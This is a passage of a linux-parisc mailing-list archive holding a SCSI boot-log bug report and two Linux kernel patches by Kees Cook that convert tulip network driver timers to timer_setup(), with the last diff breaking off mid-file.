X-Cloudmark-Analysis: v=2.2 cv=ONPI5WSB c=1 sm=0 tr=0 a=6wHw2kR6hpAEE/VjhHKMJQ==:17 a=kj9zAlcOel0A:10 a=02M-m0pO-4AA:10 a=FBHGMhGWAAAA:8 a=Ni87FJ8CqIFdh5mh7YUA:9 a=CjuIK1q_8ugA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27925
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27925>

I noticed the following scsi boot issues with v4.13.7:

[    8.961944] scsi 3:0:0:0: Direct-Access     WD       My Passport 0748 1022 PQ: 0 ANSI: 
6
[    8.964334] scsi 3:0:0:1: Enclosure         WD       SES Device       1022 PQ: 0 ANSI: 
6
[    9.062546] sd 3:0:0:0: [sda] Spinning up disk...
[   10.080033] .[   10.436010] scsi 2:0:0:0: Direct-Access     SEAGATE  ST3300007LC      D705 PQ
: 0 ANSI: 3
[   10.436010] scsi target2:0:0: tagged command queuing enabled, command queue depth 16.
[   10.436010] scsi target2:0:0: Beginning Domain Validation
[   10.443210] scsi target2:0:0: FAST-80 WIDE SCSI 160.0 MB/s DT (12.5 ns, offset 31)
[   10.451755] scsi target2:0:0: Ending Domain Validation
[   10.453274] sd 2:0:0:0: [sdb] 585937500 512-byte logical blocks: (300 GB/279 GiB)
[   10.458212] sd 2:0:0:0: [sdb] Write Protect is off
[   10.458212] sd 2:0:0:0: [sdb] Mode Sense: ab 00 10 08
[   10.460232] sd 2:0:0:0: [sdb] Write cache: disabled, read cache: enabled, supports DPO 
and FUA
[   10.493071]  sdb: sdb1
[   10.528764] sd 2:0:0:0: [sdb] Attached SCSI disk
[   12.053526] scsi 3:0:0:1: Wrong diagnostic page; asked for 1 got 8
[   12.053707] scsi 3:0:0:1: Failed to get diagnostic page 0xffffffea
[   12.053696] ready
[   12.054129] scsi 3:0:0:1: Failed to bind enclosure -19
[   12.054363] ses 3:0:0:1: Attached Enclosure device
[   12.054495] sd 3:0:0:0: [sda] 3906963456 512-byte logical blocks: (2.00 TB/1.82 TiB)
[   12.062494] sd 3:0:0:0: [sda] Write Protect is off
[   12.062494] sd 3:0:0:0: [sda] Mode Sense: 47 00 10 08[   12.063619] sd 3:0:0:0: [sda] No Caching mode page found
[   12.066860] sd 3:0:0:0: [sda] Assuming drive cache: write through
[   12.104257]  sda: sda1 sda2
[   12.151862] sd 3:0:0:0: [sda] Attached SCSI disk

Haven't seen this before.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.kernel,gmane.linux.network,gmane.linux.ports.parisc
Subject: [PATCH 14/58] net: tulip: de2104x: Convert timers to use timer_setup()
Date: Mon, 16 Oct 2017 17:28:58 -0700
Lines: 76
Approved: news@gmane.org
Message-ID: <1508200182-104605-15-git-send-email-keescook@chromium.org>
References: <1508200182-104605-1-git-send-email-keescook@chromium.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1508200517 22648 195.159.176.226 (17 Oct 2017 00:35:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 17 Oct 2017 00:35:17 +0000 (UTC)
Cc: Kees Cook <keescook@chromium.org>,
        "yuval.shaia@oracle.com" <yuval.shaia@oracle.com>,
        Tobias Klauser <tklauser@distanz.ch>,
        Jarod Wilson <jarod@redhat.com>,
        Philippe Reynes <tremyfr@gmail.com>, netdev@vger.kernel.org,
        linux-parisc@vger.kernel.org, Thomas Gleixner <tglx@linutronix.de>,
        linux-kernel@vger.kernel.org
To: "David S. Miller" <davem@davemloft.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Oct 17 02:35:11 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1e4FqZ-0001gP-3u
	for glk-linux-kernel-3@m.gmane.org; Tue, 17 Oct 2017 02:35:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1757998AbdJQAfJ (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Mon, 16 Oct 2017 20:35:09 -0400
Original-Received: from mail-pf0-f178.google.com ([209.85.192.178]:46143 "EHLO
        mail-pf0-f178.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S933231AbdJQAaI (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 16 Oct 2017 20:30:08 -0400
Original-Received: by mail-pf0-f178.google.com with SMTP id p87so49751pfj.3
        for <linux-kernel@vger.kernel.org>; Mon, 16 Oct 2017 17:30:08 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=chromium.org; s=google;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=UeHuj6AOzuRDiMXiiWuiqAWFnyvqutqJfI1Vt+GNlZM=;
        b=KxiFg24ajz285kWJncSlKzkZk0ugBXG0oa45wtv3Ed+2op/7tSfrtKNW1PANCAOjKe
         9R31Q6D4sPeeKsBiTvTneHqMB0vIaim8RB309zgGD9ETZulEmqF18NmnNmONoSUT5vvz
         0V44rb1PnctRIEt0gZy8XftAHi5k7djNkj0QU=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=UeHuj6AOzuRDiMXiiWuiqAWFnyvqutqJfI1Vt+GNlZM=;
        b=cJ6TL201eG5qXJ5mwOR453CoFO9XCvNaBfjZR1FkaOEzxrl3UrgpDucf80RpFM2Pem
         yDW8n/6X/xvU1Xt+rHH77MQo+q+LgxVNyq5j7yTbT+dGmze1vWZGkTILQipEjZqLJl27
         3sdyWwUxQqhstsDWx56sLVDhzQXME4lbp84ObeaTCyL63eiICwSlwdAsv5jfMn7ri493
         Fw/ZYrMHcTEWExSJ/7C99aiYS6hY8NyHfxadqxhr3vtVWkST5jVA2q/BYSuz0MOCntLe
         GPwtF15fZgZZVd49OVKwDH1KuXT2d31IO8XZsAUl1WpDkC2PwfB+NfgK6BxfIRKYLzqF
         dvOg==
X-Gm-Message-State: AMCzsaVWLFP/2xjMDu6vxXGbnpfQbQHRB1ZatfvGSzerp3QvVltAQBKc
        T6kflE+BKVy6sf1E150PMH/qUg==
X-Google-Smtp-Source: AOwi7QCanQF8IeLRmAB+b6mSn1WA6CYQKCysz/Rok1V2EB4/nR61pOXXfTFDnmwcIKurxKNskGTeAQ==
X-Received: by 10.98.189.26 with SMTP id a26mr10436945pff.260.1508200207863;
        Mon, 16 Oct 2017 17:30:07 -0700 (PDT)
Original-Received: from www.outflux.net (173-164-112-133-Oregon.hfc.comcastbusiness.net. [173.164.112.133])
        by smtp.gmail.com with ESMTPSA id x73sm16170671pff.102.2017.10.16.17.29.57
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 16 Oct 2017 17:30:04 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1508200182-104605-1-git-send-email-keescook@chromium.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2594239 gmane.linux.network:496850 gmane.linux.ports.parisc:27926
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2594239>

In preparation for unconditionally passing the struct timer_list pointer to
all timer callbacks, switch to using the new timer_setup() and from_timer()
to pass the timer pointer explicitly.

Cc: "David S. Miller" <davem@davemloft.net>
Cc: "yuval.shaia@oracle.com" <yuval.shaia@oracle.com>
Cc: Tobias Klauser <tklauser@distanz.ch>
Cc: Jarod Wilson <jarod@redhat.com>
Cc: Philippe Reynes <tremyfr@gmail.com>
Cc: netdev@vger.kernel.org
Cc: linux-parisc@vger.kernel.org
Signed-off-by: Kees Cook <keescook@chromium.org>
Reviewed-by: Tobias Klauser <tklauser@distanz.ch>
---
 drivers/net/ethernet/dec/tulip/de2104x.c | 21 +++++++++------------
 1 file changed, 9 insertions(+), 12 deletions(-)

diff --git a/drivers/net/ethernet/dec/tulip/de2104x.c b/drivers/net/ethernet/dec/tulip/de2104x.c
index c87b8cc42963..13430f75496c 100644
--- a/drivers/net/ethernet/dec/tulip/de2104x.c
+++ b/drivers/net/ethernet/dec/tulip/de2104x.c
@@ -333,8 +333,8 @@ static void de_set_rx_mode (struct net_device *dev);
 static void de_tx (struct de_private *de);
 static void de_clean_rings (struct de_private *de);
 static void de_media_interrupt (struct de_private *de, u32 status);
-static void de21040_media_timer (unsigned long data);
-static void de21041_media_timer (unsigned long data);
+static void de21040_media_timer (struct timer_list *t);
+static void de21041_media_timer (struct timer_list *t);
 static unsigned int de_ok_to_advertise (struct de_private *de, u32 new_media);
 
 
@@ -959,9 +959,9 @@ static void de_next_media (struct de_private *de, const u32 *media,
 	}
 }
 
-static void de21040_media_timer (unsigned long data)
+static void de21040_media_timer (struct timer_list *t)
 {
-	struct de_private *de = (struct de_private *) data;
+	struct de_private *de = from_timer(de, t, media_timer);
 	struct net_device *dev = de->dev;
 	u32 status = dr32(SIAStatus);
 	unsigned int carrier;
@@ -1040,9 +1040,9 @@ static unsigned int de_ok_to_advertise (struct de_private *de, u32 new_media)
 	return 1;
 }
 
-static void de21041_media_timer (unsigned long data)
+static void de21041_media_timer (struct timer_list *t)
 {
-	struct de_private *de = (struct de_private *) data;
+	struct de_private *de = from_timer(de, t, media_timer);
 	struct net_device *dev = de->dev;
 	u32 status = dr32(SIAStatus);
 	unsigned int carrier;
@@ -1999,12 +1999,9 @@ static int de_init_one(struct pci_dev *pdev, const struct pci_device_id *ent)
 	de->msg_enable = (debug < 0 ? DE_DEF_MSG_ENABLE : debug);
 	de->board_idx = board_idx;
 	spin_lock_init (&de->lock);
-	init_timer(&de->media_timer);
-	if (de->de21040)
-		de->media_timer.function = de21040_media_timer;
-	else
-		de->media_timer.function = de21041_media_timer;
-	de->media_timer.data = (unsigned long) de;
+	timer_setup(&de->media_timer,
+		    de->de21040 ? de21040_media_timer : de21041_media_timer,
+		    0);
 
 	netif_carrier_off(dev);
 
-- 
2.7.4



From - Thu Nov 08 21:40:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.kernel,gmane.linux.network,gmane.linux.ports.parisc
Subject: [PATCH 21/58] net: tulip: Convert timers to use timer_setup()
Date: Mon, 16 Oct 2017 17:29:05 -0700
Lines: 364
Approved: news@gmane.org
Message-ID: <1508200182-104605-22-git-send-email-keescook@chromium.org>
References: <1508200182-104605-1-git-send-email-keescook@chromium.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1508200747 27070 195.159.176.226 (17 Oct 2017 00:39:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 17 Oct 2017 00:39:07 +0000 (UTC)
Cc: Kees Cook <keescook@chromium.org>,
        David Howells <dhowells@redhat.com>,
        Jarod Wilson <jarod@redhat.com>,
        Stephen Hemminger <stephen@networkplumber.org>,
        Johannes Berg <johannes.berg@intel.com>,
        Eric Dumazet <edumazet@google.com>,
        Philippe Reynes <tremyfr@gmail.com>,
        "yuval.shaia@oracle.com" <yuval.shaia@oracle.com>,
        netdev@vger.kernel.org, linux-parisc@vger.kernel.org,
        Thomas Gleixner <tglx@linutronix.de>,
        linux-kernel@vger.kernel.org
To: "David S. Miller" <davem@davemloft.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Oct 17 02:39:01 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1e4FuD-00050T-Dt
	for glk-linux-kernel-3@m.gmane.org; Tue, 17 Oct 2017 02:38:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1758295AbdJQAiM (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Mon, 16 Oct 2017 20:38:12 -0400
Original-Received: from mail-pf0-f175.google.com ([209.85.192.175]:54867 "EHLO
        mail-pf0-f175.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1758199AbdJQAhm (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 16 Oct 2017 20:37:42 -0400
Original-Received: by mail-pf0-f175.google.com with SMTP id n89so47834pfk.11
        for <linux-kernel@vger.kernel.org>; Mon, 16 Oct 2017 17:37:41 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=chromium.org; s=google;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=ukvGNOFjN44AHbGiPi79TZv9nvupydMG5WwQBLG7aAU=;
        b=L+J5glv7rflXF3fPy3cioQPYxBktwzskDAKdtplYB7ico04nXUIcPICTmMb4GrjmEw
         LqtGgosQOhBn5lmrTTWLjlrSKeNKX+rRCAA7vIFqb+ZIQ1M54navQ3xAnW/BZmmmYXDM
         KutsV32WQdIFcvqSf39f2syFgpRpluEjGAY3s=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=ukvGNOFjN44AHbGiPi79TZv9nvupydMG5WwQBLG7aAU=;
        b=nv6kXxj+KB+IeQjH6QxjaldzmjHCgYuIV9r69EZJ+HF4nJ1NPyQhHS6y9ANgqjCCqq
         EOnIiw7c0Ej9Z3yUBBLuAYgEo4n1hl/g3bXJ1IDCtLLbTnX3xTxI6SS9+hwDODt+mWep
         2IRbtChZtFZOIFrEZvnSulgVWP/kHxZ2iyPKpeKT5Rini2T0RD9u/eAVlTbVL7UjGp40
         4qKayjfiIJ9jKGDUb1cIojStSWV4KdXziZtAzW46vaftsnGcvnYJci8t1Ts7V9Eqoa8k
         4T1fR/mFFIULNTHnM1G0tQN+aRH4DaYv+Jg557qJBUoSMrPjcD004EwdLeGrMs5S54YU
         UptQ==
X-Gm-Message-State: AMCzsaWyKGcnoNGLQz2S/4LWvDMihNFeQQ7RL8SQ2ZXKZSVcYslRNJ/E
        hiqaTzU3aE2MBYNHdl21E90k+g==
X-Google-Smtp-Source: AOwi7QD2LseRfl0T9Y/f8c6FyvXNPt0JAhfPK2w74xrlKqeobACb86fdI4tJZQsf4VbtfB97cXtzMg==
X-Received: by 10.99.140.8 with SMTP id m8mr9627868pgd.23.1508200661458;
        Mon, 16 Oct 2017 17:37:41 -0700 (PDT)
Original-Received: from www.outflux.net (173-164-112-133-Oregon.hfc.comcastbusiness.net. [173.164.112.133])
        by smtp.gmail.com with ESMTPSA id 68sm17439772pfx.105.2017.10.16.17.37.32
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 16 Oct 2017 17:37:36 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1508200182-104605-1-git-send-email-keescook@chromium.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2594251 gmane.linux.network:496862 gmane.linux.ports.parisc:27927
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2594251>

In preparation for unconditionally passing the struct timer_list pointer to
all timer callbacks, switch to using the new timer_setup() and from_timer()
to pass the timer pointer explicitly.

Cc: "David S. Miller" <davem@davemloft.net>
Cc: David Howells <dhowells@redhat.com>
Cc: Jarod Wilson <jarod@redhat.com>
Cc: Stephen Hemminger <stephen@networkplumber.org>
Cc: Johannes Berg <johannes.berg@intel.com>
Cc: Eric Dumazet <edumazet@google.com>
Cc: Philippe Reynes <tremyfr@gmail.com>
Cc: "yuval.shaia@oracle.com" <yuval.shaia@oracle.com>
Cc: netdev@vger.kernel.org
Cc: linux-parisc@vger.kernel.org
Signed-off-by: Kees Cook <keescook@chromium.org>
---
 drivers/net/ethernet/dec/tulip/de4x5.c       | 12 ++++++------
 drivers/net/ethernet/dec/tulip/dmfe.c        | 10 +++++-----
 drivers/net/ethernet/dec/tulip/interrupt.c   |  6 +++---
 drivers/net/ethernet/dec/tulip/pnic.c        |  6 +++---
 drivers/net/ethernet/dec/tulip/pnic2.c       |  6 +++---
 drivers/net/ethernet/dec/tulip/timer.c       | 12 ++++++------
 drivers/net/ethernet/dec/tulip/tulip.h       | 12 ++++++------
 drivers/net/ethernet/dec/tulip/tulip_core.c  | 14 ++++++--------
 drivers/net/ethernet/dec/tulip/uli526x.c     | 10 +++++-----
 drivers/net/ethernet/dec/tulip/winbond-840.c | 10 +++++-----
 10 files changed, 48 insertions(+), 50 deletions(-)

diff --git a/drivers/net/ethernet/dec/tulip/de4x5.c b/drivers/net/ethernet/dec/tulip/de4x5.c
index 299812e92db7..a31b4df3e7ff 100644
--- a/drivers/net/ethernet/dec/tulip/de4x5.c
+++ b/drivers/net/ethernet/dec/tulip/de4x5.c
@@ -912,7 +912,7 @@ static int     de4x5_init(struct net_device *dev);
 static int     de4x5_sw_reset(struct net_device *dev);
 static int     de4x5_rx(struct net_device *dev);
 static int     de4x5_tx(struct net_device *dev);
-static void    de4x5_ast(struct net_device *dev);
+static void    de4x5_ast(struct timer_list *t);
 static int     de4x5_txur(struct net_device *dev);
 static int     de4x5_rx_ovfc(struct net_device *dev);
 
@@ -1147,8 +1147,7 @@ de4x5_hw_init(struct net_device *dev, u_long iobase, struct device *gendev)
 	lp->timeout = -1;
 	lp->gendev = gendev;
 	spin_lock_init(&lp->lock);
-	setup_timer(&lp->timer, (void (*)(unsigned long))de4x5_ast,
-		    (unsigned long)dev);
+	timer_setup(&lp->timer, de4x5_ast, 0);
 	de4x5_parse_params(dev);
 
 	/*
@@ -1741,9 +1740,10 @@ de4x5_tx(struct net_device *dev)
 }
 
 static void
-de4x5_ast(struct net_device *dev)
+de4x5_ast(struct timer_list *t)
 {
-	struct de4x5_private *lp = netdev_priv(dev);
+	struct de4x5_private *lp = from_timer(lp, t, timer);
+	struct net_device *dev = dev_get_drvdata(lp->gendev);
 	int next_tick = DE4X5_AUTOSENSE_MS;
 	int dt;
 
@@ -2369,7 +2369,7 @@ autoconf_media(struct net_device *dev)
 	lp->media = INIT;
 	lp->tcount = 0;
 
-	de4x5_ast(dev);
+	de4x5_ast(&lp->timer);
 
 	return lp->media;
 }
diff --git a/drivers/net/ethernet/dec/tulip/dmfe.c b/drivers/net/ethernet/dec/tulip/dmfe.c
index 6585f737d08b..17ef7a28873d 100644
--- a/drivers/net/ethernet/dec/tulip/dmfe.c
+++ b/drivers/net/ethernet/dec/tulip/dmfe.c
@@ -331,7 +331,7 @@ static void dmfe_phy_write_1bit(void __iomem *, u32);
 static u16 dmfe_phy_read_1bit(void __iomem *);
 static u8 dmfe_sense_speed(struct dmfe_board_info *);
 static void dmfe_process_mode(struct dmfe_board_info *);
-static void dmfe_timer(unsigned long);
+static void dmfe_timer(struct timer_list *);
 static inline u32 cal_CRC(unsigned char *, unsigned int, u8);
 static void dmfe_rx_packet(struct net_device *, struct dmfe_board_info *);
 static void dmfe_free_tx_pkt(struct net_device *, struct dmfe_board_info *);
@@ -596,7 +596,7 @@ static int dmfe_open(struct net_device *dev)
 	netif_wake_queue(dev);
 
 	/* set and active a timer process */
-	setup_timer(&db->timer, dmfe_timer, (unsigned long)dev);
+	timer_setup(&db->timer, dmfe_timer, 0);
 	db->timer.expires = DMFE_TIMER_WUT + HZ * 2;
 	add_timer(&db->timer);
 
@@ -1128,10 +1128,10 @@ static const struct ethtool_ops netdev_ethtool_ops = {
  *	Dynamic media sense, allocate Rx buffer...
  */
 
-static void dmfe_timer(unsigned long data)
+static void dmfe_timer(struct timer_list *t)
 {
-	struct net_device *dev = (struct net_device *)data;
-	struct dmfe_board_info *db = netdev_priv(dev);
+	struct dmfe_board_info *db = from_timer(db, t, timer);
+	struct net_device *dev = pci_get_drvdata(db->pdev);
 	void __iomem *ioaddr = db->ioaddr;
 	u32 tmp_cr8;
 	unsigned char tmp_cr12;
diff --git a/drivers/net/ethernet/dec/tulip/interrupt.c b/drivers/net/ethernet/dec/tulip/interrupt.c
index 8df80880ecaa..c1ca0765d56d 100644
--- a/drivers/net/ethernet/dec/tulip/interrupt.c
+++ b/drivers/net/ethernet/dec/tulip/interrupt.c
@@ -102,10 +102,10 @@ int tulip_refill_rx(struct net_device *dev)
 
 #ifdef CONFIG_TULIP_NAPI
 
-void oom_timer(unsigned long data)
+void oom_timer(struct timer_list *t)
 {
-        struct net_device *dev = (struct net_device *)data;
-	struct tulip_private *tp = netdev_priv(dev);
+	struct tulip_private *tp = from_timer(tp, t, oom_timer);
+
 	napi_schedule(&tp->napi);
 }
 
diff --git a/drivers/net/ethernet/dec/tulip/pnic.c b/drivers/net/ethernet/dec/tulip/pnic.c
index 7bcccf5cac7a..3fb39e32e1b4 100644
--- a/drivers/net/ethernet/dec/tulip/pnic.c
+++ b/drivers/net/ethernet/dec/tulip/pnic.c
@@ -84,10 +84,10 @@ void pnic_lnk_change(struct net_device *dev, int csr5)
 	}
 }
 
-void pnic_timer(unsigned long data)
+void pnic_timer(struct timer_list *t)
 {
-	struct net_device *dev = (struct net_device *)data;
-	struct tulip_private *tp = netdev_priv(dev);
+	struct tulip_private *tp = from_timer(tp, t, timer);
+	struct net_device *dev = tp->dev;
 	void __iomem *ioaddr = tp->base_addr;
 	int next_tick = 60*HZ;
 
diff --git a/drivers/net/ethernet/dec/tulip/pnic2.c b/drivers/net/ethernet/dec/tulip/pnic2.c
index 5895fc43f6e0..412adaa7fdf8 100644
--- a/drivers/net/ethernet/dec/tulip/pnic2.c
+++ b/drivers/net/ethernet/dec/tulip/pnic2.c
@@ -76,10 +76,10 @@
 #include <linux/delay.h>
 
 
-void pnic2_timer(unsigned long data)
+void pnic2_timer(struct timer_list *t)
 {
-	struct net_device *dev = (struct net_device *)data;
-	struct tulip_private *tp = netdev_priv(dev);
+	struct tulip_private *tp = from_timer(tp, t, timer);
+	struct net_device *dev = tp->dev;
 	void __iomem *ioaddr = tp->base_addr;
 	int next_tick = 60*HZ;
 
diff --git a/drivers/net/ethernet/dec/tulip/timer.c b/drivers/net/ethernet/dec/tulip/timer.c
index 523d9dde50a2..642e9dfc5451 100644
--- a/drivers/net/ethernet/dec/tulip/timer.c
+++ b/drivers/net/ethernet/dec/tulip/timer.c
@@ -137,10 +137,10 @@ void tulip_media_task(struct work_struct *work)
 }
 
 
-void mxic_timer(unsigned long data)
+void mxic_timer(struct timer_list *t)
 {
-	struct net_device *dev = (struct net_device *)data;
-	struct tulip_private *tp = netdev_priv(dev);
+	struct tulip_private *tp = from_timer(tp, t, timer);
+	struct net_device *dev = tp->dev;
 	void __iomem *ioaddr = tp->base_addr;
 	int next_tick = 60*HZ;
 
@@ -154,10 +154,10 @@ void mxic_timer(unsigned long data)
 }
 
 
-void comet_timer(unsigned long data)
+void comet_timer(struct timer_list *t)
 {
-	struct net_device *dev = (struct net_device *)data;
-	struct tulip_private *tp = netdev_priv(dev);
+	struct tulip_private *tp = from_timer(tp, t, timer);
+	struct net_device *dev = tp->dev;
 	int next_tick = 2*HZ;
 
 	if (tulip_debug > 1)
diff --git a/drivers/net/ethernet/dec/tulip/tulip.h b/drivers/net/ethernet/dec/tulip/tulip.h
index 06660dbc44b7..b458140aeaef 100644
--- a/drivers/net/ethernet/dec/tulip/tulip.h
+++ b/drivers/net/ethernet/dec/tulip/tulip.h
@@ -43,7 +43,7 @@ struct tulip_chip_table {
 	int io_size;
 	int valid_intrs;	/* CSR7 interrupt enable settings */
 	int flags;
-	void (*media_timer) (unsigned long);
+	void (*media_timer) (struct timer_list *);
 	work_func_t media_task;
 };
 
@@ -476,7 +476,7 @@ void t21142_lnk_change(struct net_device *dev, int csr5);
 
 /* PNIC2.c */
 void pnic2_lnk_change(struct net_device *dev, int csr5);
-void pnic2_timer(unsigned long data);
+void pnic2_timer(struct timer_list *t);
 void pnic2_start_nway(struct net_device *dev);
 void pnic2_lnk_change(struct net_device *dev, int csr5);
 
@@ -504,19 +504,19 @@ void tulip_find_mii (struct net_device *dev, int board_idx);
 /* pnic.c */
 void pnic_do_nway(struct net_device *dev);
 void pnic_lnk_change(struct net_device *dev, int csr5);
-void pnic_timer(unsigned long data);
+void pnic_timer(struct timer_list *t);
 
 /* timer.c */
 void tulip_media_task(struct work_struct *work);
-void mxic_timer(unsigned long data);
-void comet_timer(unsigned long data);
+void mxic_timer(struct timer_list *t);
+void comet_timer(struct timer_list *t);
 
 /* tulip_core.c */
 extern int tulip_debug;
 extern const char * const medianame[];
 extern const char tulip_media_cap[];
 extern const struct tulip_chip_table tulip_tbl[];
-void oom_timer(unsigned long data);
+void oom_timer(struct timer_list *t);
 extern u8 t21040_csr13[];
 
 static inline void tulip_start_rxtx(struct tulip_private *tp)
diff --git a/drivers/net/ethernet/dec/tulip/tulip_core.c b/drivers/net/ethernet/dec/tulip/tulip_core.c
index 851b6d1f5a42..00d02a0967d0 100644
--- a/drivers/net/ethernet/dec/tulip/tulip_core.c
+++ b/drivers/net/ethernet/dec/tulip/tulip_core.c
@@ -123,10 +123,10 @@ int tulip_debug = TULIP_DEBUG;
 int tulip_debug = 1;
 #endif
 
-static void tulip_timer(unsigned long data)
+static void tulip_timer(struct timer_list *t)
 {
-	struct net_device *dev = (struct net_device *)data;
-	struct tulip_private *tp = netdev_priv(dev);
+	struct tulip_private *tp = from_timer(tp, t, timer);
+	struct net_device *dev = tp->dev;
 
 	if (netif_running(dev))
 		schedule_work(&tp->media_work);
@@ -505,7 +505,7 @@ static void tulip_up(struct net_device *dev)
 	tp->timer.expires = RUN_AT(next_tick);
 	add_timer(&tp->timer);
 #ifdef CONFIG_TULIP_NAPI
-	setup_timer(&tp->oom_timer, oom_timer, (unsigned long)dev);
+	timer_setup(&tp->oom_timer, oom_timer, 0);
 #endif
 }
 
@@ -780,8 +780,7 @@ static void tulip_down (struct net_device *dev)
 
 	spin_unlock_irqrestore (&tp->lock, flags);
 
-	setup_timer(&tp->timer, tulip_tbl[tp->chip_id].media_timer,
-		    (unsigned long)dev);
+	timer_setup(&tp->timer, tulip_tbl[tp->chip_id].media_timer, 0);
 
 	dev->if_port = tp->saved_if_port;
 
@@ -1470,8 +1469,7 @@ static int tulip_init_one(struct pci_dev *pdev, const struct pci_device_id *ent)
 	tp->csr0 = csr0;
 	spin_lock_init(&tp->lock);
 	spin_lock_init(&tp->mii_lock);
-	setup_timer(&tp->timer, tulip_tbl[tp->chip_id].media_timer,
-		    (unsigned long)dev);
+	timer_setup(&tp->timer, tulip_tbl[tp->chip_id].media_timer, 0);
 
 	INIT_WORK(&tp->media_work, tulip_tbl[tp->chip_id].media_task);
 
diff --git a/drivers/net/ethernet/dec/tulip/uli526x.c b/drivers/net/ethernet/dec/tulip/uli526x.c
index 5fbbc0caba99..488a744084c9 100644
--- a/drivers/net/ethernet/dec/tulip/uli526x.c
+++ b/drivers/net/ethernet/dec/tulip/uli526x.c
@@ -241,7 +241,7 @@ static void phy_write_1bit(struct uli526x_board_info *db, u32);
 static u16 phy_read_1bit(struct uli526x_board_info *db);
 static u8 uli526x_sense_speed(struct uli526x_board_info *);
 static void uli526x_process_mode(struct uli526x_board_info *);
-static void uli526x_timer(unsigned long);
+static void uli526x_timer(struct timer_list *t);
 static void uli526x_rx_packet(struct net_device *, struct uli526x_board_info *);
 static void uli526x_free_tx_pkt(struct net_device *, struct uli526x_board_info *);
 static void uli526x_reuse_skb(struct uli526x_board_info *, struct sk_buff *);
@@ -491,7 +491,7 @@ static int uli526x_open(struct net_device *dev)
 	netif_wake_queue(dev);
 
 	/* set and active a timer process */
-	setup_timer(&db->timer, uli526x_timer, (unsigned long)dev);
+	timer_setup(&db->timer, uli526x_timer, 0);
 	db->timer.expires = ULI526X_TIMER_WUT + HZ * 2;
 	add_timer(&db->timer);
 
@@ -1021,10 +1021,10 @@ static const struct ethtool_ops netdev_ethtool_ops = {
  *	Dynamic media sense, allocate Rx buffer...
  */
 
-static void uli526x_timer(unsigned long data)
+static void uli526x_timer(struct timer_list *t)
 {
-	struct net_device *dev = (struct net_device *) data;
-	struct uli526x_board_info *db = netdev_priv(dev);
+	struct uli526x_board_info *db = from_timer(db, t, timer);
+	struct net_device *dev = pci_get_drvdata(db->pdev);
 	struct uli_phy_ops *phy = &db->phy;
 	void __iomem *ioaddr = db->ioaddr;
  	unsigned long flags;
